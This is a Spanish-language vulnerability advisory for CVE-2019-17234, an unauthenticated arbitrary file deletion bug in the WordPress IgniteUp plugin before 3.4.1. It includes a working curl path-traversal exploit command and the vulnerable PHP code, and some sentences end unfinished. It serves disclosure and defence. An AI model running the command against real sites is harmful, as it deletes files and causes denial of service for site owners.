
El plugin IgniteUp de Wordpress < 3.4.1 permite a usuarios no autenticados eliminar archivos arbitrariamente del servidor web, lo que posiblemente cause una denegación de servicio (DoS).
El plugin IgniteUp de Wordpress v3.4 y versiones anteriores permite a usuarios remotos no autenticados eliminar arbitrariamente cualquier archivo del servidor web objetivo, pudiendo provocar un ataque de denegación de servicio.
La vulnerabilidad fue reportada al equipo de wordpress.org el 20 de septiembre de 2019 y la nueva versión del plugin 3.4.1 fue publicada el 08 de noviembre de 2019.[3]
IgniteUp es un plugin popular de Wordpress que permite realizar la configuración y gestión trivial de páginas de aterrizaje para que los usuarios sepan que el sitio está próximo a lanzarse, en mantenimiento o en construcción.
El plugin incluye de serie 5 plantillas gratuitas por defecto: believe,cleaner,glass,launcher,offline.
Los nombres de las plantillas se resaltan porque se requiere un parámetro correcto [template-name] para realizar una solicitud válida al servidor web y explotar la vulnerabilidad.
[ADVERTENCIA]
El siguiente comando de ejemplo podría ser suficiente para romper tu sitio web de Wordpress, en este caso eliminando los archivos principales del plugin IgniteUp.
curl -d "action=admin_init&delete_template=[template-name]/../../" -X POST http(s)://[target-website]/wp-admin/admin-post.php
dummy example:
curl -d "action=admin_init&delete_template=believe/../../" -X POST http://localhost/wp-admin/admin-post.php
[NOTA] El comando anterior realiza un directory traversal dentro de la ruta relativa del plugin; con los permisos adecuados (755 para los directorios del servidor web y 644 para los archivos del servidor web) y con el propietario adecuado (www-data, apache user, etc...), la superficie de ataque se limita hasta el directorio raíz del servidor (p. ej. /var/www/html).
La función culpable que introduce esta vulnerabilidad se resalta a continuación; el archivo de referencia se encuentra en wp-content/plugins/igniteup/includes/class-coming-soon-creator.php, archivo que, como sugiere el nombre, se encarga de la creación de nuevas plantillas personalizadas y de la eliminación de las predeterminadas/creadas.
V3.4
add_action('admin_init', array($this, 'deleteTemplate'));
...
...
public function deleteTemplate()
{
if (!isset($_POST['delete_template']) || empty($_POST['delete_template']))
return;
$folder_name = $_POST['delete_template'];
$path = dirname(CSCS_FILE) . '/includes/templates/';
array_map('unlink', glob($path . $folder_name . '/*.*'));
rmdir($path . $folder_name);
unlink($path . '/' . $folder_name . '.php');
header('Location: ' . $_SERVER['REQUEST_URI']);
}
admin_init en la primera línea es un hook de acción de Wordpress. Los hooks[2] constituyen la base de cómo los plugins y los temas interactúan con WordPress Core, pero también son usados extensamente por el propio núcleo.
Desafortunadamente, la función asociada al hook de acción, deleteTemplate(), no tiene comprobaciones de administrador/usuario; esto le da al lector suficientes pistas sobre cómo realizar dicha acción. Mirando el código es trivial detectar el parámetro POST de php delete_template; esto, sumado a la acción del hook admin_init, es conocimiento suficiente para intentar realizar una solicitud POST al servidor web a través de la interfaz /wp-admin/admin-post.php, como se señala en el párrafo del código de explotación.
[NOTA PERSONAL] Analizando el comportamiento habitual del plugin desde la perspectiva de un usuario administrador de Wordpress, resulta bastante extraño encontrar esta función (supongo que es un resto de versiones anteriores), porque:
Aquí hay una muestra de lo que sucede durante el unlink cuando intento destruir una plantilla.
prueba con admin-ajax.php comparación con v3.4.1
[1] changelog de la v3.4.1 - https://it.wordpress.org/plugins/igniteup/#developers
[2] hooks de Wordpress - https://developer.wordpress.org/plugins/hooks/
[3] Referencia de CVE-2019-17234 en NIST - https://nvd.nist.gov/vuln/detail/CVE-2019-17234